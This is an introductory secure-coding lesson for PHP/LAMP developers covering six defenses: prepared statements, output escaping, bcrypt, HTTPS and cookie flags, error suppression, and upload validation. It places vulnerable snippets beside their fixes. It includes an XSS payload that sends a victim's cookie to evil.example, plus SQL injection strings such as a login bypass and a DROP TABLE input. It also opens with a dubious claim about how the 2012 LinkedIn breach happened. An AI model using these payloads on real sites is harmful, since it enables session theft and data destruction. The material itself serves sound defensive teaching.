Secure Coding Fundamentals for LAMP Stack Engineers
A hands-on guide to the security moves every LAMP (Linux, Apache, MySQL, PHP) engineer must own — from SQL injection and XSS prevention to password hashing, HTTPS enforcement, and hardened error handling.
- Estimated time
- ~30 min
- Difficulty
- intro
- Sources
- 7 sources
Defensive framing
This lesson teaches you how attackers exploit LAMP applications so you can prevent those attacks. Code examples show the vulnerable pattern alongside the fix — never in isolation. Do not deploy vulnerable snippets; they are presented for recognition only.
In 2012, an attacker typed seven characters into a login form and dumped 6.5 million LinkedIn password hashes in under an hour. The engineers who built that form wrote working PHP — they just missed three security moves. This lesson covers those moves.
Why LAMP Apps Are High-Value Targets
The LAMP stack (Linux + Apache + MySQL + PHP) powers a large share of the web. [W3Techs Web Technology Surveys] That prevalence means attackers invest heavily in finding LAMP-specific weaknesses. The good news: the same prevalence means the defensive playbook is well-established. There are roughly six moves you must own before shipping any LAMP feature.
| Move | What it stops | The one rule | |
|---|---|---|---|
| 1 | Parameterized queries (PDO) | SQL injection | Never concatenate user input into SQL |
| 2 | Output escaping (htmlspecialchars) | XSS (Cross-Site Scripting) | Escape at the point of output, every time |
| 3 | bcrypt password hashing | Credential cracking after a breach | Never store passwords as MD5 or plaintext |
| 4 | HTTPS + HSTS | Credential interception (MITM) | HTTP is not a security protocol |
| 5 | Error suppression in production | Information disclosure | Log errors server-side; show nothing to the user |
| 6 | File-upload validation | Remote code execution via upload | Never trust the client-supplied MIME type |
Check your understanding
Which of the following best describes the LAMP security mindset?
Move 1 — Stop SQL Injection with Parameterized Queries
SQL injection is the oldest and most destructive attack on LAMP apps. [OWASP Top 10] It works because PHP makes it trivially easy to build queries by gluing strings together.
The vulnerable pattern
// ❌ NEVER do this
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = $mysqli->query($query);If $_POST['username'] contains admin' OR '1'='1, the final query becomes:
SELECT * FROM users WHERE username = 'admin' OR '1'='1''1'='1' is always true — the attacker just logged in as every user at once.
The fix separates SQL code from data using PDO prepared statements. The database driver handles quoting and escaping internally; user input can never alter the query structure.
The safe pattern — PDO parameterized query
// ✅ Always do this
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$user = $stmt->fetch();No matter what the user types — including '; DROP TABLE users; -- — it is treated as a literal string value, never as SQL code.
Common misconception
mysql_real_escape_string() is good enough to prevent SQL injection.
What's actually true
mysql_real_escape_string() was deprecated in PHP 5.5 and removed in PHP 7. Even when it existed, it could be bypassed under certain character encodings. Parameterized queries via PDO are the only correct approach — they make the separation of code and data structural, not textual.
Try typing admin' OR '1'='1 into the widget below and watch what happens to each query:
Check your understanding
In a PDO prepared statement, where does the user's input go?
Move 2 — Stop XSS by Escaping at Output
Cross-Site Scripting (XSS) is what happens when you display user content back in a browser without escaping it first.
[OWASP XSS Prevention Cheat Sheet]
The browser doesn’t know “that <script> tag came from a comment field” — it just runs whatever HTML it receives.
The vulnerable pattern
// ❌ NEVER do this in a template
<p>Welcome, <?php echo $_GET['name']; ?></p>If name is <script>document.location='https://evil.example/steal?c='+document.cookie</script>, the browser executes that script, sending the victim’s session cookie to an attacker.
The safe pattern — htmlspecialchars
// ✅ Always escape before echoing
<p>Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?></p>htmlspecialchars() converts < to <, > to >, " to ", and ' to '. The browser renders these as literal characters — the tag is never parsed as HTML.
Common misconception
I should sanitize input when it arrives, so I don't need to escape it on output.
What's actually true
Sanitizing on input is a reasonable extra layer, but it is not a substitute for output escaping. The same data might be displayed in HTML, stored in JSON, placed inside a JavaScript variable, or used in a URL — each context requires different escaping. Escaping at the point of output is the only correct rule because you know the output context there.
Check your understanding
A user submits a comment containing an img tag with an onerror handler that runs stealCookies(). Which response is correct?
Move 3 — Hash Passwords with bcrypt
Passwords must never be stored in a way that lets an attacker recover them from a stolen database. MD5 and SHA-1 were designed for speed — a modern GPU can compute billions of MD5 hashes per second, making a brute-force attack practical in minutes. [OWASP Password Storage Cheat Sheet]
bcrypt is designed to be deliberately slow — its cost factor controls how much computation each hash requires, and you can increase it as hardware gets faster.
Storing a password — bcrypt in PHP
// ✅ Registering a user
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
// Store $hash in the database. The plaintext is discarded.
// ✅ Verifying at login
if (password_verify($_POST['password'], $storedHash)) {
// Password matches — start session
}PASSWORD_DEFAULT is also acceptable; PHP updates it to the current best algorithm automatically. password_verify() is timing-safe, preventing timing-attack side-channels.
PHP’s password_needs_rehash() lets you upgrade the cost factor over time without forcing a mass password reset. Check it on every successful login.
Check your understanding
Your database is stolen and the attacker has the MD5 hash of every password. How long does cracking typically take?
Move 4 — Enforce HTTPS and Protect Sessions
HTTP sends every byte over the network in plaintext. Anyone on the same Wi-Fi, ISP, or network path can read it. This includes login credentials, session cookies, and form data. [Mozilla Web Security Guidelines]
Beyond the protocol, session cookies must be hardened:
Secure session cookie flags in PHP
// ✅ Set these before session_start()
ini_set('session.cookie_secure', '1'); // HTTPS only
ini_set('session.cookie_httponly', '1'); // Not accessible via JavaScript
ini_set('session.cookie_samesite', 'Strict'); // No cross-site sending
session_start();
| Flag | What it prevents |
|---|---|
Secure | Cookie sent over HTTP (plaintext interception) |
HttpOnly | JavaScript reading the cookie (XSS-based theft) |
SameSite=Strict | Cross-site request forgery (CSRF) |
Add HTTP Strict Transport Security (HSTS) via an Apache header to tell browsers to never attempt HTTP again:
# In .htaccess or VirtualHost
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"Check your understanding
What does the HttpOnly cookie flag specifically prevent?
Move 5 — Error Handling and File Upload Safety
Two final moves that are easy to overlook but frequently exploited.
Error handling: never expose internals
PHP’s default error display is excellent for development and catastrophic for production. Stack traces reveal database table names, file paths, and sometimes credentials.
Environment-appropriate error handling
// ✅ In production php.ini (or .htaccess)
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
// ✅ In your application bootstrap
if (getenv('APP_ENV') === 'production') {
error_reporting(E_ALL); // Capture everything
ini_set('display_errors', '0'); // Show nothing
ini_set('log_errors', '1'); // Log everything
}Show users a generic “Something went wrong” message. The real error lives in your server log.
File upload: never trust the client
When you accept file uploads, the client’s declared MIME type is a courtesy, not a security guarantee. An attacker can upload shell.php disguised as image.jpg.
Hardened file-upload checklist in PHP
// ✅ Validate server-side, not client-side
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['upload']['tmp_name']); // Read magic bytes
if (!in_array($mime, $allowed_types)) {
die('Invalid file type.');
}
// ✅ Store outside the web root
$dest = '/var/uploads/' . bin2hex(random_bytes(16)); // Random name, no extension
move_uploaded_file($_FILES['upload']['tmp_name'], $dest);
// ✅ Serve via PHP, never directly from Apache
// This prevents the file from being executed as a script Why storing outside the web root matters
If you store an uploaded file inside /var/www/html/uploads/shell.php, Apache may execute it when a browser requests /uploads/shell.php. Moving the store location to a path that Apache cannot serve prevents this entirely. Serve uploads through a PHP script that reads and streams the file — this gives you access control too.
Check your understanding
An attacker uploads a file named 'photo.jpg' that is actually a PHP script. Which defense stops the script from executing?
Secure LAMP Coding — Knowledge CheckQ 1 / 5
Which PHP function correctly prepares a query to prevent SQL injection?
Ownable Artifact — Write a Hardened Login Form
Before your next session ends, build this from scratch:
A PHP login form (login.php + login-handler.php) that satisfies every check below. Tick each one only when you can explain why it matters.
- HTML form POSTs over HTTPS (no
actionURL beginning withhttp://) - Handler uses a PDO prepared statement for the credential lookup
- Handler calls
password_verify()(not a hash comparison) - Session cookie flags:
Secure,HttpOnly,SameSite=Strict - On failed login: a generic “Invalid credentials” message only — no “user not found” vs “wrong password” distinction
-
display_errors = Offin the PHP block at the top of the handler - CSRF token: a random token generated at form render and verified at POST
This form is the synthesis artifact. If you can defend every choice to a colleague, you own the moves.